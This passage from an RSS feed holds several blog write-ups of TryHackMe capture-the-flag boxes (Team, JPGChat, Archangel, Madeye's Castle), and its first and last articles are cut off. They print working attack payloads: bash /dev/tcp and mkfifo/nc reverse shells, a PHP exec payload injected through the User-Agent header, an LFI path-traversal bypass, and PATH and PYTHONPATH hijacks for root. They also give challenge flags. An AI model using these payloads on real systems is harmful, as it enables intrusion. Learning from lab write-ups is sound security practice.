at GitHub, which you can clone in your own distribution, and I recommend that you do, because they are very useful. Otherwise you can just download this particular word list from <a href="https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/raft-small-directories.txt"><strong>here</strong></a>. -x: to specify the extension. This switch will add a .php after every word to check if a file also exists. You can specify multiple file types, separated by a comma. — threads: to specify the number of processes making requests at a time. Use this switch very cautiously, as in the real world, huge number of requests to a website will get you blacklisted. Since this is a virtual environment, it shouldn’t be a problem. -o: to specify the output file.</blockquote><p>I used grep to remove any lines that began with a ‘.’, since anything beginning with it was giving a 403(not authorized) error code, and it was cluttering the screen.</p><p>After finding nothing on the default page, I tried adding <strong>team.thm</strong> domain to my ‘/etc/hosts’ so that my browser can redirect me to it. And sure enough, there was another webpage on the server. It would appear that the server is using Virtual Domain Name Hosting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EHi5GguQW7fl6290_skpZA.png" /></figure><p>Using GoBuster on this domain, we get multiple hits, but only two of them seemed interesting robots.txt and /scripts/ . Visiting robots.txt, we see that there is only one word in the file ‘dale’, guessing that it might be a username, I moved forward. Visiting /scripts/, we are not authorized to view the root directory, so again let’s use GoBuster on it, to see if we are authorized to view any file. After GoBuster finished, we see that we are authorized to view just one file ‘script.txt’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F4pmX2uWSGb2ngs7AnDN2Q.png" /></figure><p>The user had a note that there was another file with the name script, but had it’s extension changed as it had <strong>credentials</strong> in it. So, let’s fuzz for the extension using ffuf.</p><pre>ffuf -w /usr/share/seclists/Discovery/Web-content/raft-small-extension -u ‘http://team.thm/scripts/scriptFUZZ’ -fc 403,404</pre><blockquote>Here, -w: to specify the word-list to use, -u: to specify the URL to fuzz, FUZZ: to specify the location in URL to fuzz, -fc: to filter the results by HTTP status code.</blockquote><p>Using the above command, we find the extension of the old script, and with it the credentials to the ftp server.</p><p>Getting in the ftp server, we find a file named New_site.txt. Reading it, we find that the user also has a ‘.dev’ website hosted on the server. Using GoBuster in vhost mode, we find a subdomain for team.thm.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*csPHGcjkudp5FdMz3nql6A.png" /></figure><pre>gobuster vhost -u <a href="http://team.thm/">http://team.thm/</a> -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -o gobuster.vhost.log -t 100</pre><p>After adding the new subdomain to our ‘/etc/hosts/’, let’s visit the web-site. On visiting the website, it was evident that the website is still in development. Clicking on the only link on the website, we see that it is a PHP script, probably using the include function. Testing the variable ‘page’, we see that it is vulnerable to LFI.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wb0WTu1eP4X4t7K6vgnlZA.png" /></figure><p>Now, this part took me a hot minute to complete. In the New_site.txt it was mentioned that the user dale has to copy his ‘id_rsa’ key and save it in a config file. After trying different methods to escalate LFI to RCE, and failing spectacularly, I tried fuzzing for the ‘id_rsa’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LJ3a5nP0IHbOzKPIx8XCzQ.png" /></figure><p>Using <a href="https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-Jhaddix.txt">LFI-Jhaddix.txt</a> word-list in <a href="https://github.com/danielmiessler/SecLists">seclists</a>, and ffuf, I finally got the ‘id_rsa’ for the user dale. Oh!, <em>sweet-release</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QbP5FF6P3bVNr0xZ975xqg.png" /></figure><p>I am leaving the ssh-key here, I know it’s against the rules, but dude, if you can type a whole-ass ssh key without trying to actually find it, you are freaking c̶r̶a̶z̶y amazing. Anyhow, moving on. After using some Linux-foo to get the key back in it’s original format, let’s ssh into the machine.</p><p><strong>P.S. </strong>To get the key in the original format, just paste it a file. Let’s call it a.txt, then do cat a.txt | sed ‘s/ #/\r\n/g’ &gt; id_rsa . To simplify what is happening here. We are using sed to replace any occurrence of ‘ #’ with a newline.</p><p>Or, you can just do it manually.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1AyDgqc2BbgC0LM6YFEnlA.png" /></figure><p>After getting in the machine, we see that there is another user ‘gyles’ in the machine. As Gyles was instructing dale, it is safe to assume that the user Gyles has more privileges than our current user. On, running sudo -l as the user dale, we see that we can run a script ‘admin_checks’ as user gyles with elevated privileges and NOPASSWD. Reading the script ‘admin_check’, it asks for the users name and date, and then passes the ‘date variable’ to the ‘date command’ to be executed. This was very easy to exploit, just pass ‘/bin/bash’ as date, and we have a shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fGVuTtzjRS6qyaoNUKxXYQ.png" /></figure><p>After some poking around, I was unable to find anything. So, I transferred <a href="https://github.com/DominicBreuker/pspy">pspy</a> over from my my machine, to look for any processes running in the background. After waiting some time, we see that root is running a cronjob for ‘script.sh’. On, checking for the permission on the script, we see that our user is able to edit the script.sh. So let’s edit it to gain a reverse shell on our machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fsMun3koDxIbTuH2_o5aKg.png" /></figure><p>Save it, and start a listener on your machine, to listen for an incoming connection from the box. After waiting a few seconds, we get a reverse shell back on our machine as the root user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZSWIT7V_xRy6-0TvenEWNg.png" /></figure><p>So, that was the box. Hope you guys enjoyed it.</p><p>If you have any suggestions, let me know in the comments.</p><p>Have a beautiful day!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e8ba56dcbce9" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/tryhackme-team-writeup-e8ba56dcbce9">TryHackMe | Team Writeup</a> was originally published in <a href="https://infosecwriteups.com">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe | JPGChat Writeup]]></title>
            <link>https://infosecwriteups.com/tryhackme-jpgchat-writeup-5a6ec94c2c8d?source=rss-595cd3c0d173------2</link>
            <guid isPermaLink="false">https://medium.com/p/5a6ec94c2c8d</guid>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[walkthrough]]></category>
            <dc:creator><![CDATA[Anubhav Uniyal]]></dc:creator>
            <pubDate>Mon, 01 Mar 2021 08:41:41 GMT</pubDate>
            <atom:updated>2021-03-03T18:06:23.919Z</atom:updated>
            <content:encoded><![CDATA[<h3>Overview</h3><p>Hey, how is it going everybody. I am back with another write-up, this time trying <a href="https://tryhackme.com/room/jpgchat"><em>JPGChat</em></a> by<em> </em><a href="https://tryhackme.com/p/R4v3n"><em>R4v3n</em></a><em>. </em>This was a rather easy box, with one interesting twist, you have to do a little GitHub search to find the source code of the chatting service. From there, you get a reverse shell back and gain the initial foothold. After that, there was one python executable that the user could run with root privileges without password. To exploit it, you had to spoof the PYTHONPATH variable. So, without anything else to say, let’s start with the box.</p><h3>Let’s Break In!</h3><p>As always, start off with a NMap scan.</p><pre>sudo nmap -sS -sV -sC -oA nmap/chat *THM Box IP* -vv</pre><blockquote>Here -sS: SYN Scan, -sC: for “Safe” Scripts, or default scripts, -sV: for version enumeration, -oA: output in all format(Greppable, XML and default NMap output), -vv: for verbose.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8pABKVs8A_hVsWdeDZ4Cpw.png" /></figure><p>After NMap finished scanning, we see that we only have two ports open 22(ssh) and 3000(ppp). On visiting the service on port 3000 through our browser, we see that we have some instructions on how to use the service. But, the service was not fully functional when visiting through the web-browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V7iuwx6buHuUur5YspIFIw.png" /></figure><p>So let’s use NetCat to connect to the service.</p><pre>nc *THM Box IP* 3000 </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gZ8_KvtVVTKjsLB1JEWsNA.png" /></figure><p>After connecting through NetCat, we see that both the messaging and the reporting functionality is available to us. The service also tells us, that the source code can be found at the admins GitHub. To find the admin’s name, we connect to the [REPORT] functionality of the service and the service leaks the <strong>admin’s</strong> name. Now, to find the source code, just after a little bit of poking around in GitHub, we find the source code of the service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kqle3DkZCJ1j3GHgk_-A8Q.png" /></figure><p>The service is making use of the os module of python and running the commands using the bash shell. We can easily get the reverse shell by using the generic bash reverse shell one-liner.</p><pre>bash -i &gt;&amp; /dev/tcp/*Your OpenVPN IP*/*port you’re listening on*</pre><p>The machine did get a connection, but it was always breaking for some reason. So, let’s use another one liner with encoded characters.</p><pre>0&lt;&amp;196;exec 196&lt;&gt;/dev/tcp/10.0.0.1/4242; sh &lt;&amp;196 &gt;&amp;196 2&gt;&amp;196</pre><blockquote>For more awesome one-liners like this, visit <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#bash-tcp"><em>swisskys</em>repo’s</a> GitHub repository.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EmqjSQhb9l7b3ix9sw7cNA.png" /></figure><p>And this time we got the reverse shell without any issues. But, this shell was not usable because the command outputs were not visible on screen. But, we did have command execution. So, we can once again make the machine connect to us, to gain reverse shell.</p><pre>bash -c &#39;bash -i &gt;&amp; /dev/tcp/*Your OpenVPN IP*/*port you’re listening on*&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XvfWMNs0Twt0z67V1qaZoA.png" /></figure><p>Now we have a usable shell. Let’s upgrade to a fully TTY shell.</p><pre>python3 -c ‘import pty; pty.spawn(“/bin/bash”)’</pre><p>This will give you a slightly better shell, but without those magical features. To get a fully functioning TTY shell:</p><pre>Press Ctrl-z to background the current shell, then on your terminal type:<br>stty raw -echo; fg &lt;enter&gt;&lt;enter&gt;</pre><p>Then on your shell:</p><pre>stty rows 36 cols 136<br>export TERM=xterm-256color</pre><p><strong>User-Flag:</strong> THM{w4it_h0w_c4n_th3s_b3}</p><p>Now, to escalate our privileges to root. Running sudo -l we get a prompt that our user can run test-module.py as root NOPASSWD. We cannot modify the script, but we can read it.</p><p>The script is importing a compare module, this means we can spoof the PYTHONPATH variable, and create our own bogus compare.py module, and use it to get root.</p><pre>cd /tmp</pre><pre>export PYTHONPATH=$PWD<br>touch compare.py<br>chmod +x compare.py</pre><p><strong>Wait</strong>!, but what is PYTHONPATH, and how did you know this script is using it.Worry not, for I am about to tell you just that.</p><p>So, PYTHONPATH is a environment variable and as the name suggests, is the PATH in which the python script looks for the invoked modules<strong> IF </strong>the module is not in the default global directory. So, that means if for instance an python script was trying to invoke a predefined module(ex. os), spoofing the PYTHONPATH will have no affect on the script, as it won’t access the path variable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*urgBYXSzeV6yL7I7tLDnmw.png" /></figure><p>How did we the script was using it, firstly when you sudo -l , notice on the upper right corner it says env_keep+=PYTHONPATH, that means when invoking anything as sudo, it will keep the PYTHONPATH environment variable. Secondly, if you read the script and if you have a little bit of python programming knowledge, you’ll notice that the module “compare” which is being imported, is not a standard module of the python programming language, which can mean that the user might not have installed it in the global directory, which again leads to the same conclusion.</p><p>Now inside compare.py, make a system call to invoke bash as sudo.</p><pre>#!/usr/bin/env python3<br>import os</pre><pre>os.system(&quot;/bin/bash&quot;)</pre><p><em>What just happened here?</em></p><p>Well, this script is very basic, but not all of you might understand what happened here. So, we imported a module called os, which gives us the capability of calling and executing system commands from our script, then we used the system function, to invoke a bash shell. If you run this script as a normal user, nothing will change. But, if you run this with root privileges, you’ll have a root shell.</p><p><em>That is all fine, but why did importing a module got us a root shell?</em></p><p>Well, when you import a module in python, or in any other language really, it can either import a specified function or class in that module, or the whole package. In this scenario, it is importing the <em>whole package</em>(specified by the ‘*’ wildcard). Then, it invokes a function in the compare module, as soon as that line gets executed, our bogus module starts doing it’s thing. It invokes a bash shell with root privileges, and the script is stuck in the background. When you exit from the root shell, back to the normal user, you might’ve noticed that it gives an error, the specified function was not found. This means, that all this time, the script was stuck in calling the function, which gave our shell persistence.</p><p>This was just a very layman explanation of it, if you want to get into really technical details, read <a href="https://medium.com/python-features/what-happens-behind-the-scenes-when-we-import-a-module-in-python-2775da153790"><strong><em>this</em></strong></a> very thorough article.</p><p>Now, run the test-module.py as sudo. And we get root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P5mMUBWIqh8IcoPa7aW3Ag.png" /></figure><p><strong>Root-Flag:</strong> THM{h4h4h4_g0t_y4_sUck3rs}</p><p>So, that was the box, hope you guys enjoyed it.</p><p>Have a beautiful day!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5a6ec94c2c8d" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/tryhackme-jpgchat-writeup-5a6ec94c2c8d">TryHackMe | JPGChat Writeup</a> was originally published in <a href="https://infosecwriteups.com">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe | Archangel Writeup]]></title>
            <link>https://anubhavuniyal.medium.com/tryhackme-archangel-writeup-fb61a378824?source=rss-595cd3c0d173------2</link>
            <guid isPermaLink="false">https://medium.com/p/fb61a378824</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Anubhav Uniyal]]></dc:creator>
            <pubDate>Thu, 04 Feb 2021 15:24:22 GMT</pubDate>
            <atom:updated>2021-02-06T16:14:07.094Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey, let’s go, my second write-up. I hope you liked my previous write-up of Madeye’s Castle.</p><p>You can find this room here: <a href="https://tryhackme.com/room/archangel">https://tryhackme.com/room/archangel</a></p><h3>Overview</h3><p>This is a Easy rated boot2root box, made by TryHackMe user <a href="https://tryhackme.com/p/Archangel">Archangel</a>. This box makes use of the Virtual Domain Name Hosting method. Once you get to the correct domain, you have to exploit the PHP include() function to get an LFI and then use that LFI to get a reverse shell on the machine. Once in, you need to exploit a cronjob to gain horizontal privilege. Finally, you need to spoof the PATH variable, to gain root access. Without any further ado, let’s get into it.</p><h3>Let’s Break In!</h3><p>Like always, first start with an Nmap scan:</p><pre>sudo nmap -sS -sV -sC -oA nmap/archangel *THM Box IP* -vv</pre><blockquote>Here -sS: SYN Scan, -sC: for “Safe” Scripts, or default scripts, -sV: for version enumeration, -oA: output in all format(Greppable, XML and default Nmap output), -vv: for verbose.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3Q9iq0eULp8htl9psaV2ug.jpeg" /></figure><p>Nmap scan was completed fairly quickly, and we see that two ports are open on this machine. Port 80 and Port 22, which are default ports for HTTP and SSH respectively. Since we don’t have any way to login to the ssh right now, lets visit the webpage hosted on this machine.</p><p>On visiting the machine, we can see that it filled with a lot of Lorem Ipsum, nothing interesting there. Except, we see a domain based email “mafialive.thm”, in the websites contact info. It would appear that this website is using virtual domain name hosting. If you’d like to know more about VDNH you can do so by going <a href="https://anubhavuniyal.medium.com/tryhackme-madeyes-castle-writeup-e637db17da31">here</a>, where I go more in detail over this topic.</p><p>Coming back to our machine, add the new domain to our hosts file(IP address&lt;space&gt;domain name), and lets visit this website. On opening the website, a message appears saying this website is under development, with our very first flag, displayed right under it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cwUwRVY8Typ8oJm_aWWBIg.jpeg" /><figcaption>Flag has been <strong>redacted</strong></figcaption></figure><p>Next, we are asked to find a page under development. Now, there are two ways you can go about it:</p><p>The very first and a clever way(which my dumb-ass totally didn’t think of), is visiting the robots.txt file, and there you have it “test.php”.</p><p>What is robots.txt you ask?, consider it as a gatekeeper for a website. Ever wonder why sensitive data, such as admin webpages, assets and other information that a website stores never show up when you search for something?, robots.txt is your answer. Whenever a search-engine starts crawling a website for information, it first visits robots.txt, which then tells what location the search-engine, can and cannot crawl. So this information never shows up on search engines. The only problem with this, robots.txt <strong>has </strong>to be publicly accessible for the search-engine to view it. This means, that anyone in the world, with a little technological knowledge, can also read this file and visit the sup3r-s3cr3t location manually, completely defeating the purpose. This is the reason why different methods like .htaccess were invented, where you can implement user authentication for your secret webpage.</p><p>The second, and the scrub way of doing it, is by FUZZING the website. Yay, now I don’t have to do any thinking!. Just kidding, most of the time you will have to use a Fuzz tool in your workflow, I know I have to in every other box.<br>I like to use Gobuster for this task, you can use any tool you prefer.</p><pre>gobuster dir -u <a href="http://mafialive.thm/">http://mafialive.thm/</a> -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt -x php,txt — threads 50 -o gobuster.out</pre><blockquote>Here, <strong>dir</strong>: to specify directory brute-forcing, -u to specify the target URL, <strong>-w</strong> to specify the word-list, I use raft-small-wordlist. It is included in the SecLists over at GitHub, which you can clone in your own distro, and I recommend that you do, because they are very useful. Otherwise you can just download this particular word-list from <a href="https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/raft-small-directories.txt"><strong>here</strong></a>. <strong>-x</strong>: to specify the extension. This switch will add a .php and a .txt after every directory name to check if a file with the same name (also)exists. You can specify multiple file types, separated by a comma. <strong>--threads</strong>: to specify the number of requests made at a time. Use this switch very cautiously, as in the real world, huge number of request to a website will get you blacklisted. Since this is a virtual environment, it shouldn’t be a problem. <strong>-o</strong>: to specify the output file.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RHTACEplrvbeVAalbwBa9w.jpeg" /></figure><p>And Gobuster displays the same expected output “test.php”, so let’s go to this location. On visiting the location we see that this webpage wasn’t supposed to be deployed, which means lax security. <em>*Happy Hacker Noises*</em>.</p><p>There is a button present on the webpage, pressing it displays a message “Control is an illusion”. A Mr.Robot reference, nice!. And aptly placed too, because we are about to take away control using <strong>LFI</strong>(Local File Inclusion). Proxying the request through burp, we capture it and send it to burp repeater for further inspection.<br>After testing for LFI using some basic payloads, nothing turned up. I can’t read any file from outside the given directory, probably a check in place. We know a “robots.txt” file exists in this directory, lets try that. Substituting “mrrobot.php” with “robots.txt”, the content of “robots.txt” was reflected. <em>Success!</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZuGqojEUvYydebHfZALAzw.jpeg" /></figure><p>Next step was to actually examine the test.php, which should also be in the same folder. Replacing “robots.txt” for “test.php”, nothing turned up. Weird. Then I remembered that it was a PHP file, and won’t be rendered as normal. So, to actually read the contents of the file, I needed to parse it to something else. PHP has a inbuilt function to convert normal text to base64, so using that, the payload then became:</p><pre>http://mafialive.thm/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/test.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uvwlJGT_rk-5B1OVGWesfQ.jpeg" /></figure><p>And we get the output in base64. We can decode it using <a href="https://gchq.github.io/CyberChef/"><em>CyberChef</em></a>, or anything else really, and read the contents of test.php.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dPXYAx39wWaJPPr3kPskJg.jpeg" /></figure><p>We can see that indeed, there was a check in place, so that we can’t traverse our path, and that “/var/www/html/development_testing” has to be included. So anything that we can do is restricted to this directory only, or is it!?<em>(*Getting Dem Phoenix Wright Feels*)</em>. The thing is, that Linux treats “//” as “/”, so that means, even if “../..” is blocked, we can easily bypass it using “..//..”.</p><p>Bypassing the path traversal protection, and reading the access.log file, I saw that User-agent was being logged. Doing a simple google search showed me that indeed, this can be converted to RCE(Remote Code Execution) using a simple technique.<br>First, make a simple request to the domain, replacing the normal User-Agent with:</p><pre>&lt;?php exec(‘rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc *Your machine IP* 4444 &gt;/tmp/f’) ?&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-QV55lGPg3odnADf7SuRmw.jpeg" /></figure><p>Then, open a netcat session in your terminal</p><pre>nc -lvnp 4444 </pre><blockquote>Here -l: to listen for an incoming connection request, -n: to stop netcat from performing domain name resolution, -v: for verbose and -p: to specify which port to listen on.</blockquote><p>Then make another request to the website, this time by using LFI and calling access.log, which would&#39;ve now logged our malicious code we passed as User-Agent, and will now execute it.</p><pre><a href="http://mafialive/test.php?view=/var/www/html/development_testing/..//..//..//..//var/log/apache2/access.log">http://mafialive/test.php?view=/var/www/html/development_testing/..//..//..//..//var/log/apache2/access.log</a></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zykt4e0Jl0D9Yr9GY8Z3sw.jpeg" /></figure><p>And we get a shell back. Awesome, isn’t it?</p><p>Now this is a very basic shell, with no <strong>tab-auto completion</strong> or <strong>Ctrl-c</strong> to stop current process. <strong>Ctrl-c</strong> on this shell and it will kill the connection, it has happened to me, and man was getting the connection back a <em>bitch</em>. ANYWAY, let’s upgrade the shell before proceeding.</p><pre>python3 -c ‘import pty; pty.spawn(“/bin/bash”)’</pre><p>This will give you a slightly better shell, but without those magical features. To get a fully functioning TTY shell:</p><pre>Press Ctrl-z to background the current shell, then on your terminal type:<br>stty raw -echo; fg &lt;enter&gt;&lt;enter&gt;</pre><p>Then on your shell:</p><pre>stty rows 16 columns 136<br>export TERM=xterm-256color (<strong>if you don’t do this step, you won’t be able to open the text editor</strong>)<br>reset</pre><p>And you’ll feel right at home…. or maybe not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BV-yVsgfl49aRd_afAPRFQ.jpeg" /></figure><p>Getting the user flag was easy, just go to the archangel directory, and cat the user.txt file.<br>Now, escalating our privilege, there was a folder named myfiles, in which there was a file called password backup, when I outputted the file it had a link to a YouTube video. If you have done any amount of CTFs, you very well know where this is leading up to. A “Rick Astley — Never Gonna Give You Up” video. I swear to god, if I see this video one more time. See man, no offense but this meme has been going on for too long, and at this point it is just painful to watch. Moving on. There was another folder by the name secret, but I didn’t have the permission to open it.</p><p>I tried running sudo -l, but since I didn’t know password to www-data, this wasn’t an option. Next, I tried to a binary with SUID bit, no luck there either. Next, I looked for some cronjobs that might be running, but nothing was.<br>After exhausting all my options, I tried looking for any interesting files user archangel may own. Using the find command:</p><pre>find / -user archangel -type f 2&gt;/dev/null | grep -v /proc</pre><blockquote>Here, /: specifies the directory from where to begin searching(root in this case), -user: only show files owned by particular user, -type: specify what to find, 2&gt;/dev/null: This option is a little complex in its entirety, so just understand this, it will hide any error during the execution of this command. |: pipes the output of the left command, as an input to the right command. grep: to grab a particular pattern from a given input, -v: to hide the specified pattern.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uGkfW2Tsllxdis9TLFSJRw.jpeg" /></figure><p>And we finally! find something interesting, a bash script owned by the user. If we can modify the file we can maybe see what’s inside the secret folder. We did have the permission to write in the script, but when I tried cd’ing into the secret directory, permission was denied, and no matter what I did, I couldn’t see the contents of the folder. So, I tried getting a reverse shell on my machine. Changing the file to a python executable, and using the reverse shell from <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md"><strong><em>swisskyrepo</em></strong></a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ItQwKOrDP-_r5bsWZMrh-A.jpeg" /></figure><p>I executed the file and got a reverse shell as…. www-data. That’s a lot of work, just to fail isn’t it. Just for the sake of it, I tried running it as the user archangel sudo -u archangel ./helloworld, because there wasn’t anything else to do really, first it asked for www-data’s credentials, thinking it was the wrong way to go about it, I pressed Ctrl-c to exit, and I got a reverse shell back…. as archangel?.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*I4vnAB8Q9Rb9U91_MNIleA.jpeg" /></figure><p>I was surprised to say the least, I don’t think this was the intended route, I’ll update the article when I get to know about it. Until then, let’s move on.</p><p><strong>Update</strong>: Okay, it looks like I just ignored the crontab output, apparently there was a cronjob running every minute, executing helloworld.sh as the user archangel. That was the reason why I got the reverse shell back. If you’re wondering what a cronjob is, let me explain to you in brief. Basically, Cron is a time-based job scheduler which is preinstalled in every Unix based distribution. Using Cron, you can schedule some menial tasks which you would like to be executed after a certain amount of time, you can also specify which user the said job will be running as, archangel in the case above. These repeating tasks that Cron performs are called cronjobs, and can be viewed in the file /etc/cronjob.</p><p>After getting the privilege escalation, I cd’ed into the secret directory and got the second flag. Also, I understood the real way to do it, as it was very clearly mentioned in the flag. Eh, what’s done is done <em>amirite</em>. No, no, worry not, I’ll update the article when I do it the right way.</p><p>In the secret folder, apart from the flag, there was also a binary executable file, with a SUID bit. I exported the file to my computer for further inspection.<br>Opening the file using Ghidra, and de-compiling the main function, the binary was making a system call to the cp function, and the binary was running as root, this would mean if I can somehow replace the system cp binary with my own, I can get root access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A961BzdHAGD1RL29l4xkCQ.jpeg" /></figure><p>To do that, first create a file called cp in the secret folder(or any folder, just remember to set the PATH variable correctly). Inside the cp folder, set the payload to:</p><pre>#!/bin/bash<br>bash -p</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/1*xEjJUp4O9tahP29nLsR8_Q.jpeg" /></figure><p>And give it executable permission(chmod +x cp just in case you were wondering). This will give you root access when executed. Next, set the PATH variable using:</p><pre>export PATH=$PWD:$PATH</pre><p>I did this so that system will first check for the cp file in this directory, instead of going to the system defined cp file.<br>I executed the binary, got the <strong>root</strong> access and solved the box.</p><p>If you have any suggestions, do let me know in the comments.<br>Have a nice day.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fb61a378824" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe | Madeye’s Castle Writeup]]></title>
            <link>https://anubhavuniyal.medium.com/tryhackme-madeyes-castle-writeup-e637db17da31?source=rss-595cd3c0d173------2</link>
            <guid isPermaLink="false">https://medium.com/p/e637db17da31</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <dc:creator><![CDATA[Anubhav Uniyal]]></dc:creator>
            <pubDate>Tue, 02 Feb 2021 11:34:21 GMT</pubDate>
            <atom:updated>2021-02-03T18:07:09.765Z</atom:updated>
            <content:encoded><![CDATA[<p>This is my first write-up, so excuse me for any mistakes.</p><p>You can find this room here: <a href="https://tryhackme.com/room/madeyescastle">https://tryhackme.com/room/madeyescastle</a></p><h3>Overview</h3><p>This is a medium rated boot2root box, made by TryHackMe user <a href="https://tryhackme.com/p/madeye"><em>madeye</em></a>. This is a very interesting box with some new concepts. Firstly, this box uses a method called Virtual Domain Name Hosting (which I go over, briefly in the associated section). Secondly, Mutating a word-list using different rules and getting the password. Exploiting a binary through GTFObins, to escalate privileges. And finally, getting the root flag by exploiting a system call of a SUID binary. Also, the SQLi can’t be done using an automated tool, so you’ll have some trouble if you’re not used to manual injection. All in all, an awesome box which I had fun rooting. Without any further ado, let’s get into it.</p><h3>Let’s Break In!</h3><p>First things first, always start with an Nmap scan:</p><pre>sudo nmap -sS -sV -sC -oA nmap/castle 10.10.137.43 -vv</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*KZlRY9hQMLc6bfDmNWYMcg.jpeg" /></figure><blockquote>Here -sS: SYN Scan, -sC: for “Safe” Scripts, or default scripts, -sV: for version enumeration, -oA: output in all format(Greppable, XML and default Nmap output), -vv: for verbose.</blockquote><p>We see that 4 ports are open in this box. While the Nmap scan is running, let’s visit the service open on the port 80, which is a reserved port for HTTP. On opening the website, we are greeted with an Apache server default page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lpMpXyWkoMhMZh0tk4FOEQ.jpeg" /></figure><p>Nothing interesting here, so let’s run a directory brute force. Any brute forcing tool will work, I prefer to use Gobuster.</p><pre>gobuster dir -u <a href="http://10.10.137.43">http://10.10.137.43</a> -w /usr/share/seclists/Discovery/Web-content/raft-small-directories.txt -x php --threads 50 -o gobuster.out</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bxX3CSEs8Nd934Wb9UTeYA.jpeg" /></figure><blockquote>Here, dir: to specify directory brute-forcing, -u to specify the target URL, -w to specify the word list, I use raft-small-wordlist. It is included in the sec-lists over at GitHub, which you can clone in your own distro, and I recommend that you do, because they are very useful. Otherwise you can just download this particular word list from <a href="https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/raft-small-directories.txt"><strong>here</strong></a>. -x: to specify the extension. This switch will add a .php after every word to check if a file also exists. You can specify multiple file types, separated by a comma. — threads: to specify the number of requests made at a time. Use this switch very cautiously, as in the real world, huge number of request to a website will get you blacklisted. Since this is a virtual environment, it shouldn’t be a problem. -o: to specify the output file.</blockquote><p>Gobuster got a hit on a directory with the name backup. Let’s check it out.</p><p>On visiting the directory we see that we are not authorized to view the root directory. So, let’s just brute force this URI to see if we are able to find something interesting here.</p><pre>gobuster dir -u <a href="http://10.10.137.43">http://10.10.137.43</a>/backup -w /usr/share/seclists/Discovery/Web-content/raft-small-directories.txt -x php --threads 50 -o gobuster.out</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qDYxih2jcsPGAyA83t0Btw.jpeg" /></figure><p>We see that we got a hit inside the backup directory, we can see a directory called email. On visiting the directory, we see its a text file, with some interesting information in it. Its a conversation between two people, talking about virtual hosting. There is also a link provided at the bottom of the document if you want to know what virtual hosting is, or more specifically what virtual domain name hosting(that is used in this 